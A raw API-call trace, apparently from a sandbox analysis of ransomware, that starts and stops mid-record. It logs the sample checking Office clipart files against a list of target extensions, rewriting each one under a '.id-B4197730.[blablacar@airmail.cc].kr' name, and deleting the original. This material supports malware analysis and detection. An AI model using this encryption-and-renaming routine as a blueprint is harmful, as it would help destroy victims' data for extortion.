[0188.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0188.363] lstrlenW (lpString=".jpg") returned 4 [0188.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.363] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.363] lstrlenW (lpString="DD01170_.WMF") returned 12 [0188.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0188.364] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2404) returned 1 [0188.364] CloseHandle (hObject=0x410) returned 1 [0188.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0188.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0188.364] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.364] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0188.365] GetLastError () returned 0x0 [0188.365] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x964, lpOverlapped=0x0) returned 1 [0188.366] WriteFile (in: hFile=0x520, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x970, lpOverlapped=0x0) returned 1 [0188.367] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0188.367] WriteFile (in: hFile=0x520, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0188.368] SetEndOfFile (hFile=0x520) returned 1 [0188.368] CloseHandle (hObject=0x520) returned 1 [0188.368] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.368] SetEndOfFile (hFile=0x410) returned 1 [0188.371] CloseHandle (hObject=0x410) returned 1 [0188.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0188.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.372] lstrlenW (lpString=".doc") returned 4 [0188.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.372] lstrlenW (lpString=".docx") returned 5 [0188.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.372] lstrlenW (lpString=".pdf") returned 4 [0188.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.372] lstrlenW (lpString=".xls") returned 4 [0188.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.372] lstrlenW (lpString=".xlsx") returned 5 [0188.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.372] lstrlenW (lpString=".ppt") returned 4 [0188.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.372] lstrlenW (lpString=".zip") returned 4 [0188.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.372] lstrlenW (lpString=".rar") returned 4 [0188.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.372] lstrlenW (lpString=".bz2") returned 4 [0188.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.372] lstrlenW (lpString=".7z") returned 3 [0188.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.372] lstrlenW (lpString=".dbf") returned 4 [0188.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.372] lstrlenW (lpString=".1cd") returned 4 [0188.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.372] lstrlenW (lpString=".jpg") returned 4 [0188.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.373] lstrlenW (lpString=".doc") returned 4 [0188.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.373] lstrlenW (lpString=".docx") returned 5 [0188.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.373] lstrlenW (lpString=".pdf") returned 4 [0188.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.373] lstrlenW (lpString=".xls") returned 4 [0188.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.373] lstrlenW (lpString=".xlsx") returned 5 [0188.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.373] lstrlenW (lpString=".ppt") returned 4 [0188.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.373] lstrlenW (lpString=".zip") returned 4 [0188.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.373] lstrlenW (lpString=".rar") returned 4 [0188.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.373] lstrlenW (lpString=".bz2") returned 4 [0188.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.373] lstrlenW (lpString=".7z") returned 3 [0188.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.373] lstrlenW (lpString=".dbf") returned 4 [0188.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.373] lstrlenW (lpString=".1cd") returned 4 [0188.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0188.373] lstrlenW (lpString=".jpg") returned 4 [0188.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.374] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.374] lstrlenW (lpString="DD01171_.WMF") returned 12 [0188.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0188.374] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2052) returned 1 [0188.374] CloseHandle (hObject=0x410) returned 1 [0188.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0188.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0188.375] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.375] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0188.375] GetLastError () returned 0x0 [0188.375] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x804, lpOverlapped=0x0) returned 1 [0188.467] WriteFile (in: hFile=0x520, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x810, lpOverlapped=0x0) returned 1 [0188.476] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0188.479] WriteFile (in: hFile=0x520, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0188.508] SetEndOfFile (hFile=0x520) returned 1 [0188.509] CloseHandle (hObject=0x520) returned 1 [0188.509] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.509] SetEndOfFile (hFile=0x410) returned 1 [0188.512] CloseHandle (hObject=0x410) returned 1 [0188.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0188.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.962] lstrlenW (lpString=".doc") returned 4 [0188.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.962] lstrlenW (lpString=".docx") returned 5 [0188.962] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.962] lstrlenW (lpString=".pdf") returned 4 [0188.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.962] lstrlenW (lpString=".xls") returned 4 [0188.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.962] lstrlenW (lpString=".xlsx") returned 5 [0188.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.963] lstrlenW (lpString=".ppt") returned 4 [0188.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.963] lstrlenW (lpString=".zip") returned 4 [0188.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.963] lstrlenW (lpString=".rar") returned 4 [0188.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.963] lstrlenW (lpString=".bz2") returned 4 [0188.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.963] lstrlenW (lpString=".7z") returned 3 [0188.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.963] lstrlenW (lpString=".dbf") returned 4 [0188.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.963] lstrlenW (lpString=".1cd") returned 4 [0188.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.963] lstrlenW (lpString=".jpg") returned 4 [0188.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.963] lstrlenW (lpString=".doc") returned 4 [0188.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.963] lstrlenW (lpString=".docx") returned 5 [0188.963] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.963] lstrlenW (lpString=".pdf") returned 4 [0188.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.963] lstrlenW (lpString=".xls") returned 4 [0188.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.963] lstrlenW (lpString=".xlsx") returned 5 [0188.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.964] lstrlenW (lpString=".ppt") returned 4 [0188.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.964] lstrlenW (lpString=".zip") returned 4 [0188.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.964] lstrlenW (lpString=".rar") returned 4 [0188.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.964] lstrlenW (lpString=".bz2") returned 4 [0188.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.964] lstrlenW (lpString=".7z") returned 3 [0188.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.964] lstrlenW (lpString=".dbf") returned 4 [0188.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.964] lstrlenW (lpString=".1cd") returned 4 [0188.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0188.964] lstrlenW (lpString=".jpg") returned 4 [0188.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.965] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.965] lstrlenW (lpString="DD01186_.WMF") returned 12 [0188.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0188.965] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=8564) returned 1 [0188.965] CloseHandle (hObject=0x534) returned 1 [0188.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0188.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0188.966] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.966] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0188.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0188.966] GetLastError () returned 0x0 [0188.966] ReadFile (in: hFile=0x534, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2174, lpOverlapped=0x0) returned 1 [0189.008] WriteFile (in: hFile=0x500, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2180, lpOverlapped=0x0) returned 1 [0189.009] ReadFile (in: hFile=0x534, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0189.009] WriteFile (in: hFile=0x500, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0189.009] SetEndOfFile (hFile=0x500) returned 1 [0189.014] CloseHandle (hObject=0x500) returned 1 [0189.014] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0189.014] SetEndOfFile (hFile=0x534) returned 1 [0189.016] CloseHandle (hObject=0x534) returned 1 [0189.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0190.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0190.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.048] lstrlenW (lpString=".doc") returned 4 [0190.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.048] lstrlenW (lpString=".docx") returned 5 [0190.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.048] lstrlenW (lpString=".pdf") returned 4 [0190.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.048] lstrlenW (lpString=".xls") returned 4 [0190.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.048] lstrlenW (lpString=".xlsx") returned 5 [0190.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.048] lstrlenW (lpString=".ppt") returned 4 [0190.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.049] lstrlenW (lpString=".zip") returned 4 [0190.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.049] lstrlenW (lpString=".rar") returned 4 [0190.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.049] lstrlenW (lpString=".bz2") returned 4 [0190.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.049] lstrlenW (lpString=".7z") returned 3 [0190.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.049] lstrlenW (lpString=".dbf") returned 4 [0190.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.049] lstrlenW (lpString=".1cd") returned 4 [0190.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.049] lstrlenW (lpString=".jpg") returned 4 [0190.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.049] lstrlenW (lpString=".doc") returned 4 [0190.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.049] lstrlenW (lpString=".docx") returned 5 [0190.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.049] lstrlenW (lpString=".pdf") returned 4 [0190.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.049] lstrlenW (lpString=".xls") returned 4 [0190.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.049] lstrlenW (lpString=".xlsx") returned 5 [0190.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.049] lstrlenW (lpString=".ppt") returned 4 [0190.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.050] lstrlenW (lpString=".zip") returned 4 [0190.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.050] lstrlenW (lpString=".rar") returned 4 [0190.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.050] lstrlenW (lpString=".bz2") returned 4 [0190.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.050] lstrlenW (lpString=".7z") returned 3 [0190.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.050] lstrlenW (lpString=".dbf") returned 4 [0190.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.050] lstrlenW (lpString=".1cd") returned 4 [0190.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0190.050] lstrlenW (lpString=".jpg") returned 4 [0190.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.050] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0190.050] lstrlenW (lpString="DD01772_.WMF") returned 12 [0190.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 